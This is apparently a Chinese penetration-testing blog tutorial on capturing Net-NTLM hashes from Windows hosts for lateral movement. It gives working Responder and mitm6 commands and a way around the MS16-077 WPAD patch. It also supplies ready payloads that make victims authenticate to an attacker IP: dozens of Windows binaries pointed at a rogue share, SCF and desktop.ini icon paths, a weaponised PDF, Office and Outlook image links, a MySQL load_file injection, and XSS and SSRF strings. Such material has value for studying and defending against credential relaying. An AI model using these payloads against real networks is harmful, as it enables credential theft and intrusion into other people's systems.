**欢迎关注我的微信公众号《壳中之魂》**
通过控制内网主机发送 NTLM 请求,我们可以使用 responder 等工具截获主机用户的 Net-NTLMHash,此 Hash 虽然不能进行哈希传递,但是有了Net-NTLM Hash之后,我们可以对 Net-NTLM Hash进暴力破解、或重放,从而实现内网的横向渗透
Responder工具
下载地址:SpiderLabs/Responder: Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (github.com)
kali自带此软件
Responder 工具是一款可以在局域网模拟各种服务器进行中间人攻击的内网渗透神器。其可以在局域网中进行 DNS 欺骗、LLMNR 欺骗等,实现对用户 NTLM 口令的探测以及 DNS 钓鱼,同时其还可以模拟包括 FTP、HTTP 在内的多种服务器,并记录用户登录凭证。
LLMNR和NetBIOS欺骗
LLMNR是什么?
链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。
LLMNR 的工作过程
当一台主机想要访问到另一台主机时,主机在自己的内部名称缓存中查询名称,如果在缓存中没有找到名称,那么主机就会向自己配置的DNS服务器发送查询请求,如果主机没有收到回应或收到了错误信息,即DNS解析会失败,那么就会转为使用LLMNR链路本地多播名称解析。
使用链路本地多播名称解析时,主机会通过UDP向局域网内发送多播查询,查询主机名对应的IP,查询范围被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后,收到该请求的主机会判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己IP地址给请求该查询的主机;如果不是,则丢弃该请求。
NetBIOS是什么?
Netbios(Network Basic Input Output System):网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,Netbios是一种应用程序接口(API),系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。
Windows系统名称解析顺序(win10和win7有不同表现)
1. 本地hosts文件(%windir%System32driversetchosts)
2. DNS缓存,windows可使用命令ipconfig/displaydns查看
3.DNS服务器
4. 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
也就是说,如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称。这就产生了一个安全问题。由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。通过工具监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。
为何会发送NTLM V2 Hash?
根据上述知识,我们知道了responder如何欺骗受害主机,那么为什么受害主机会发送NTLM v2 Hash呢?这就涉及到NTLM认证的知识了,可参考文章内网渗透测试:NTLM 与 NTLM 身份认证 - FreeBuf网络安全行业门户。NTLM 认证的第三步中,客户端收到服务端返回的 TYPE 2 消息后, 会读取出服务端所支持的内容,并取出其中的随机值 Challenge,用缓存的服务器端密码的NTLM-Hash 对其进行加密,并与用户名、Challenge 等一起组合得到 Net-NTLM Hash,最后将 Net-NTLM Hash 封装到 TYPE 3 Authenticate 消息中,发往服务端。也就是说 Net-NTLM Hash 是网络环境下 NTLM 认证的散列值。
早期SMB协议在网络上传输明文口令,后来微软进行了改进推出了NTLMv1会话协议,由于NTLMv1也很脆弱,所以后来就有了NTLM v2以及Kerberos验证体系,目前winserver 2008及以后的windows版本默认均是使用NetNTLMv2的,默认使用NTLMv1的有2003、XP这些机器。
windows基于NTLM认证的有SMB、HTTP、LDAP、MSSQL等,responder可以通过模拟正常的SMB协议从而获得受害机器的NTLMV2 hash值,NTLM v2不能直接应用于Pass The Hash攻击,只能通过暴力破解来获取明文密码。而攻击者获取NTLMv1 hash后,可以直接还原出NTLM HASH,这样的话就可以将NTLM HASH直接用于Pass The Hash攻击,相较于NTLM v2还需要破解才能利用更加不安全。
NetBIOS和LLMNR区别
NetBIOS和LLMNR在WindowsVista以后的系统中均实现,二者的主要区别在于:
1)NetBIOS基于广播,而LLMNR基于多播;
2)NetBIOS在WindowsNT以后的所有操作系统上均可用,而只有WindowsVista和更高版本才支持LLMNR;
3)LLMNR还支持IPv6,而NetBIOS不支持,因此,在启用了IPv6,但对IPv6管理不如IPv4那样细致的复杂网络中,就可能发生更广泛的攻击。
使用responder工具获取哈希
先在kali设置监听,并且要和目标在同一个网段下
代码语言:javascript复制 responder -I eth0 -f -v
- -I:指定使用的网卡
- -f:允许攻击者查看受害者的主机指纹
- -v:显示详细信息,responder 在截获目标的 Net-NTLM Hash 后,会将 Net-NTLM Hash 记录在日志中,之后再次截获将不再显示 Net-NTLM Hash,要想再次显示 Net-NTLM Hash 则需要加上这个 -v 选项
ON代表对此服务的监听开启,off代表关闭
当受害者访问一个不存在的资源时,如果本地缓存不存在,又无法通信,则会在会通过LLMNR和NetBIOS,在局域网中进行搜索。
代码语言:javascript复制dir \dcc$
此时攻击者的responder便收到了受害者用户的Net-NTLM Hash
除了net use之外,还有下列命令可以使responder获得NTLV V2 hash。
代码语言:javascript复制net.exe use hostshare
attrib.exe hostshare
cacls.exe hostshare
certreq.exe hostshare #(noisy, pops an error dialog)
certutil.exe hostshare
cipher.exe hostshare
ClipUp.exe -l hostshare
cmdl32.exe hostshare
cmstp.exe /s hostshare
colorcpl.exe hostshare #(noisy, pops an error dialog)
comp.exe /N=0 hostshare hostshare
compact.exe hostshare
control.exe hostshare
convertvhd.exe -source hostshare -destination hostshare
Defrag.exe hostshare
diskperf.exe hostshare
dispdiag.exe -out hostshare
doskey.exe /MACROFILE=hostshare
esentutl.exe /k hostshare
expand.exe hostshare
extrac32.exe hostshare
FileHistory.exe hostshare #(noisy, pops a gui)
findstr.exe * hostshare
fontview.exe hostshare #(noisy, pops an error dialog)
fvenotify.exe hostshare #(noisy, pops an access denied error)
FXSCOVER.exe hostshare #(noisy, pops GUI)
hwrcomp.exe -check hostshare
hwrreg.exe hostshare
icacls.exe hostshare
licensingdiag.exe -cab hostshare
lodctr.exe hostshare
lpksetup.exe /p hostshare /s
makecab.exe hostshare
msiexec.exe /update hostshare /quiet
msinfo32.exe hostshare #(noisy, pops a "cannot open" dialog)
mspaint.exe hostshare #(noisy, invalid path to png error)
msra.exe /openfile hostshare #(noisy, error)
mstsc.exe hostshare #(noisy, error)
netcfg.exe -l hostshare -c p -i foo
在一个局域网环境中,我们让Responder运行几分钟到几个小时,以捕获尽可能多的凭据。
停止Responder后,在安装目录的logs文件夹下,会为每个service-proto-IP生成唯一的文件
WPAD劫持
PAC
一个PAC文件包含一个形式的函数“FindProxyForURL(url, host)”。这个函数返回一个包含一个或多个访问规则的字符串。用户代理根据这些规则适用一个特定的代理器或者直接访问。 当一个代理服务器无法响应的时候,多个访问规则提供了其他的后备访问方法。 浏览器在访问其他页面以前,首先访问这个PAC文件。PAC文件中的URL可能是手工配置的,也可能是通过网页的网络代理自发现协议(Web Proxy Autodiscovery Protocol)自动配置的。
PAC文件举例
代码语言:javascript复制function FindProxyForURL(url, host) {
if (url== 'http://www.baidu.com/') return 'DIRECT';
if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY
127.0.0.1:8086;DIRECT';
return 'DIRECT';
}
WPAD
网络代理自动发现协议(Web Proxy Autodiscovery Protocol),通过让浏览器自动发现代理服务器 ,定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。
代理自动配置文件(Proxy Auto-Config,PAC),定义了浏览器和其他用户代理如何自动选择适当的代理服务器来访问一个URL。要使用 PAC,我们应当在一个网页服务器上发布一个PAC文件,并且通过在浏览器的代理链接设置页面输入这个PAC文件的URL或者通过使用WPAD协议告知用户代理去使用这个文件。
在浏览器设置为 “自动检测代理设置” 的情况下,用户在访问网页时,首先会查询 PAC 文件的位置,然后获取 PAC 文件,将 PAC 文件作为代理配置文件。查询 PAC 文件的顺序如下:
1.通过 DHCP 服务器
2.查询 WPAD 主机的IP
- Hosts
- DNS (cache / server)
- LLMNR
- NBNS
LLMNR/NBNS投毒
LLMNR/NBNS投毒就是利用 LLMNR/NBNS 欺骗来让受害者从攻击者获取 PAC 文件,PAC 文件指定攻击者就是代理服务器,然后攻击者就可以劫持受害者的 HTTP 流量,在其中插入任意 HTML 标签从而获得用户的 Net-NTLM Hash。
首先先打开监听
代码语言:javascript复制responder -I eth0 -r on -v -F on -w on
- -w:开启 WPAD 服务
- -F:强制进行
首先浏览器要设置
win7默认会尝试通过LLMNR、NBNS协议解析域名,那么win7输入错误域名后会被欺骗并解析到kali,随后responder会要求NTLM认证,受害机器就会发送hash值。
win7打开网页时会显示
输入账号密码后返回哈希值
经测试,win7下,ie弹窗可抓可抓,谷歌浏览器不弹窗,火狐弹窗可抓
然而我在windows server 2012测试的时候遇到了问题,我确实抓到了哈希值,但是并非是每次都可以抓到,同时也没有弹窗提示要求输入凭证,我尝试同样用火狐浏览器,但是win7可以,windows server 2012就不可以,然后我尝试使用windows serve 2008,发现2008在下载火狐的时候就已经弹窗并且抓到了,说明2012抓不到很肯能是系统版本的问题
微软在2016年发布了 MS16-077 安全公告,添加了两个重要的保护措施,以缓解这类攻击行为:
1. 系统再也无法通过广播协议来解析 WPAD 文件的位置,只能通过使用 DHCP 或 DNS 协议完成该任务。
2. 更改了 PAC 文件下载的默认行为,以便当 WinHTTP 请求 PAC 文件时,不会自动发送客户端的域凭据来响应 NTLM 或协商身份验证质询。
详细信息:MS16-077:WPAD 安全更新程序:2016 年 6 月 14 日 (microsoft.com)
可以看到这次的补丁包为KB2919355,而2012刚好有打
但是这个修补是可以绕过的
配合DHCP V6绕过MS16-077
首先先针对第一条绕过
代码语言:javascript复制1. 系统再也无法通过广播协议来解析 WPAD 文件的位置,只能通过使用 DHCP 或 DNS 协议完成该任务。
回顾一下查询 PAC 文件的顺序
1、通过 DHCP 服务器
2、查询 WPAD 主机的IP
- Hosts
- DNS (cache / server)
- LLMNR
- NBNS
可以发现,系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP选项或DNS协议完成该任务,就确保了不能通过LLMNR/NBNS投毒的方式,但是可以通过DHCP和DNS协议还可以获取到pac文件,然而,DHCP和DNS都有指定的服务器,一般来说入侵者不可控,但是除了IPV4,还有IPV6,从Windows Vista以来,所有的Windows系统(包括服务器版系统)都会启用IPv6网络,并且其优先级要高于IPv4网络。这里我们要用到DHCPV6协议。
DHCPv6协议中,客户端通过向组播地址发送Solicit报文来定位DHCPv6服务器,组播地址[ff02::1:2]包括整个地址链路范围内的所有DHCPv6服务器和中继代理。
DHCPv6四步交互过程,
- 客户端向[ff02::1:2]组播地址发送一个Solicit请求报文
- 组播地址[ff02::1:2]包括整个地址链路范围内的DHCP服务器或中继代理回应Advertise消息告知客户端。
- 客户端选择优先级最高的服务器并发送Request信息请求分配地址或其他配置信息
- 最后服务器回复包含确认地址,委托前缀和配置(如可用的DNS或NTP服务器)的Relay消息。
由此可知,最后的Relay信息中包含了确认地址,委托前缀和配置(如可用的DNS或NTP服务器),在可以使用IPV6的前提下,入侵者可以收到其他机器的DHCP v6组播包,就可以目标的DNS服务器设置为入侵者的IPV6 DNS服务器,然后目标立刻查询网络的WPAD配置由于这些 DNS 查询是发送给攻击者的,此时攻击者便可以使用自己的 IP 地址作为WPAD对应的 IP 地址。
Fox-IT公布了名为mitm6的一个工具,可以实施这种攻击。
下载地址:https://github.com/fox-it/mitm6
首先先查看本机的网卡信息,并且找到ipv6地址
可以先观察一下目标主机的DNS服务器
然后使用mitm6监听DHCP v6流量
代码语言:javascript复制mitm6 -d g1ts.com -i eth0
当受害者机器重启或重新进行网络配置(如重新插入网线)时, 将会向 DHCP v6 发送请求获取 IPv6 配置。这个时候 mitm6 将回复这些 DHCP v6 请求,并在链接本地范围内为受害者分配一个 IPv6 地址
这时再看目标的DNS服务器
和kali的ipv6一摸一样
针对第二条绕过
代码语言:javascript复制2. 更改了 PAC 文件下载的默认行为,以便当 WinHTTP 请求 PAC 文件时,不会自动发送客户端的域凭据来响应 NTLM 或协商身份验证质询。
这个其实比较好解决,在访问pac文件的时候,我们没办法获取到用户的net-ntlm hash。其实默认responder就不想在这一步获取net-ntlm hash,他默认不开启,要手动加-F选项才能开启。我们可以给用户返回一个正常的wpad。将代理指向我们自己,然后我们作为中间人。这个时候可以做的事就很多了。比如插入xss payload获取net-ntlm hash,中间人获取post,cookie等参数,通过basic认证进行钓鱼,诱导下载exe等等。
在网上也有一种比较巧妙的绕过姿势。我们可以给用户返回一个正常的wpad。将代理指向我们自己,当受害主机连接到我们的“代理”服务器时,我们可以通过HTTP CONNECT动作、或者GET请求所对应的完整URI路径来识别这个过程,然后回复HTTP 407错误(需要代理身份验证),这与401不同,IE/Edge以及Chrome浏览器(使用的是IE设置)会自动与代理服务器进行身份认证,即使在最新版本的Windows系统上也是如此。在Firefox中,用户可以配置这个选项,该选项默认处于启用状态。
使用方法绕过后再次访问不存在的页面,发现可以抓到哈希值了,但是这里又存在一个问题,使用火狐浏览器抓不到,最终是用ie抓到的
通过desktop.ini获取Hash
文件夹内会有一个隐藏文件,叫desktop.ini用来指定和存储文件夹图标之类的个性设置,如果不存在,则可以更改该文件夹的图标,则会在文件夹内生成一个desktop.ini文件,如果还是不显示,则检查是否查看隐藏文件设置配置正常
在文件中还有一个连接,如果修改链接为攻击者的主机或者为一个不存在的主机(但是经测试,输入一个不存在的主机无法抓取到hash,输入攻击者的主机则可以)
当用户访问此文件夹时会去访问UNC路径,我们就能获取用户的net-ntlm hash
SCF文件
SCF 文件是 “Windows 资源管理器命令” 文件,它也是一种可执行文件,该类型文件由 WindowsExplorer Command 解释。
当一个文件加中含有scf后缀的文件时,由于scf文件包含了 IconFile 属性,所以 Explore.exe 会尝试获取文件的图标。而 IconFile 属性是支持 UNC 路径的,所以我们也可以通过这里的 IconFile 属性截获受害者的 Net-NTLM Hash
在某一文件夹下写入scf文件,内容如下
代码语言:javascript复制[Shell]
Command=2
IconFile=\主机ipscftest.ico
[Taskbar]
Command=ToggleDesktop
然后用户访问此文件夹,就可以通过Responder获取Hash
windows 10更换用户头像
当windows 是激活状态时,就可以更换头像,更换头像时路径输入攻击者的ip,就可以获取到Hash,虽然会弹窗,但是弹窗之前就已经获得了Hash
用普通用户的权限指定一个webadv地址的图片,如果普通用户验证图片通过,那么SYSTEM用户(域内是机器用户)也去访问,并且携带凭据,我们就可以拿到机器用户的net-ntlm hash,这个可以用来提权。
利用PDF
PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能,请求远程SMB服务器的文件。
利用脚本Worse-PDF,下载地址:https://github.com/3gstudent/Worse-PDF
此脚本可以将正常的pdf转换为恶意pdf文件,以盗取哈希
代码语言:javascript复制python ./WorsePDF.py test.pdf 192.168.200.4
worsepdf.py [file name] [攻击者ip]
然后就会在文件夹生成一个文件
我们只需要将pdf上传到目标机器,然后让用户打开此文件即可
经测试,使用edge、火狐浏览器打开pdf文件无法获取到哈希,使用adobe reader打开的pdf可以正常获取到哈希
利用Office
首先先新建一个word文档,然后在里面复制一个图片,保存后用压缩软件打开此文档
进入word/_rels 目录,修改document.xml.rels文件。找到刚才插入的图片所对应的Target参数
将其修改为一个任意的 UNC 路径,并加上一个TargetMode="External"属性
保存后退出,然后改回后缀,让目标电脑用户打开文件即可获得哈希
经测试,wps可以获取hash,word不知道是不是我是试用版的问题并没有接收到
Outlook
发送邮件是支持html的,而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload
代码语言:javascript复制<img src="\172.16.100.1outlook">
当收件人打开outlook查看邮件的时候就收到net-ntlm hash了
MySql
使用条件:
- 需要具备loadfile权限
- 没有securefile_priv的限制(5.5.53默认是空,之后的话默认为NULL就不好利用了,不排除一些管理员会改)
使用LOAD_FILE函数,该函数支持该函数支持远程加载及支持UNC路径
代码语言:javascript复制select load_file('\\192.168.200.4\mysql');
-1' union select load_file('\\192.168.200.4\mysql')#
WEB漏洞
XSS
由于很多HTML标签可以使用href或src属性访问UNC路径,那我们便可以尝试使用XSS向量触发SMB请求,发送并截获 Net-NTLM Hash
代码语言:javascript复制<script src="\192.168.200.4xss"></script>
据网上所说,此方法只适合edge和ie,像谷歌浏览器不允许从http域跨到file域,所以无法获取到哈希,经测试火狐也不行
我们接下来尝试不通过UNC路径,就xss里面访问http请求来发起认证
把payload 改成
代码语言:javascript复制<script src="//192.168.200.4/xss"></script>
和先前一样,同样是没有弹出登录框但是依然拿到了哈希值
查阅网上发现有人说使用http的连接任何浏览器都可以成功获取,但是测试发现并非如此,可能依旧受限与环境
XXE
在xxe里面加载外部文件的时候,如果路径支持unc路径的话,是能拿到net-ntlm hash的。
这里使用javajavax.xml.parsers进行测试,测试代码如下
代码语言:javascript复制DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());
SSRF
php代码:
代码语言:javascript复制<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
假设目标存在SSRF漏洞,便可构造以下连接
代码语言:javascript复制/ssrf.php?url=file://192.168.200.4/source
JAVA的HttpURLConnection:
代码语言:javascript复制URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream()));
当只支持HTTP协议的时候,也是可能打回net-ntlm hash的。
各个语言触发XXE和SSRF的实现不同。同一门语言也有不同的触发方式,这里并没有一一测试。
只要支持UNC路径都能打回net-ntlm hash,如果支持http的话,得看底层实现,有些底层实现是需要判断是否在信任域的,有些底层实现是不需要判断是否信任域,有些需要判断是否信任域里面,但是判断是否在信任域的代码是这样。
代码语言:javascript复制static class DefaultNTLMAuthenticationCallback extends NTLMAuthenticationCallback {
@Override
public boolean isTrustedSite(URL url) { return true; }
}
在xxe和ssrf测试中一般要测试这两个方面
3.支不支持UNC路径,比如\ipx或者file://ip/x
4.支不支持HTTP(这个一般支持),是不是需要信任域,信任域是怎么判断的
参考文章:
内网渗透测试:发送NTLM请求与截获Net-NTLM Hash - FreeBuf网络安全行业门户
(9条消息) Windows内网协议学习NTLM篇之发起NTLM请求_子曰小玖的博客-CSDN博客